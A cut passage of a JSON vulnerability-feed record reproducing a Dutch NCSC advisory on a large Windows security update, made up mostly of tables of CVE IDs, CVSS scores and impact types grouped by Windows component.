| 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:00:57.390644Z"}, {"uuid": "6b7c7360-53f6-44c0-a805-9fbaf817860d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54124", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | 